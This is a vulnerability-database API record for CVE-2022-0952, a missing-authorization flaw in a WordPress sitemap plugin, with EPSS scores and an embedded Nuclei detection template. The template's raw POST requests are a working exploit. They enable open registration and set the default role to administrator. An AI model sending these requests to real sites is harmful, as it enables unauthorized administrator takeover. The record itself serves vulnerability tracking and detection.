{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2022-0952/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2022-0952/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2022-0952/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2022-0952/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2022-0952/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2022-0952"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2022-0952"
    }
  },
  "enrichments": {
    "cisa-kev": {
      "kev": false
    },
    "epss": {
      "epss": 0.11419,
      "kev": false,
      "percentile": 0.95812
    },
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2022/CVE-2022-0952.yaml",
      "nuclei_template_severity": "high",
      "nuclei_template_yaml": "id: CVE-2022-0952\n\ninfo:\n  name: WordPress Sitemap by click5 <1.0.36 - Missing Authorization\n  author: random-robbie\n  severity: high\n  description: |\n    WordPress Sitemap by click5 plugin before 1.0.36 is susceptible to missing authorization. The plugin does not have authorization or CSRF checks when updating options via a REST endpoint and does not ensure that the option to be updated belongs to the plugin. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.\n  impact: |\n    An attacker can exploit this vulnerability to gain unauthorized access to sensitive information.\n  remediation: |\n    Update to the latest version of the WordPress Sitemap plugin by click5 (1.0.36 or higher) to fix the missing authorization issue.\n  reference:\n    - https://wpscan.com/vulnerability/0f694961-afab-44f9-846c-e80a0f6c768b\n    - https://nvd.nist.gov/vuln/detail/CVE-2022-0952\n    - https://github.com/ARPSyndicate/kenzer-templates\n    - https://github.com/RandomRobbieBF/CVE-2022-0952\n    - https://github.com/nomi-sec/PoC-in-GitHub\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H\n    cvss-score: 8.8\n    cve-id: CVE-2022-0952\n    cwe-id: CWE-352\n    epss-score: 0.11419\n    epss-percentile: 0.95812\n    cpe: cpe:2.3:a:sitemap_project:sitemap:*:*:*:*:*:wordpress:*:*\n  metadata:\n    verified: true\n    max-request: 3\n    vendor: sitemap_project\n    product: sitemap\n    framework: wordpress\n  tags: cve,cve2022,wp,wp-plugin,sitemap,wpscan,wordpress,sitemap_project,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        POST /wp-json/click5_sitemap/API/update_html_option_AJAX HTTP/1.1\n        Host: {{Hostname}}\n        Content-type: application/json;charset=UTF-8\n\n        {\"users_can_register\":\"1\"}\n      - |\n        POST /wp-json/click5_sitemap/API/update_html_option_AJAX HTTP/1.1\n        Host: {{Hostname}}\n        Content-type: application/json;charset=UTF-8\n\n        {\"default_role\":\"administrator\"}\n      - |\n        POST /wp-json/click5_sitemap/API/update_html_option_AJAX HTTP/1.1\n        Host: {{Hostname}}\n        Content-type: application/json;charset=UTF-8\n\n        {\"users_can_register\":\"0\"}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(header, \"application/json\")'\n          - \"status_code == 200\"\n          - \"contains(body_1, 'users_can_register')\"\n          - \"contains(body_2, 'default_role')\"\n        condition: and\n# digest: 490a00463044022000eaba01a102623a2eef3763e170487ba0068e2c54d1471871c965d2d36f876002200b95d4beea1331fe4ddc9853f888d2ea9fd4121ac3d45dbf3a7ef09a222e4ff9:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2022-0952"
}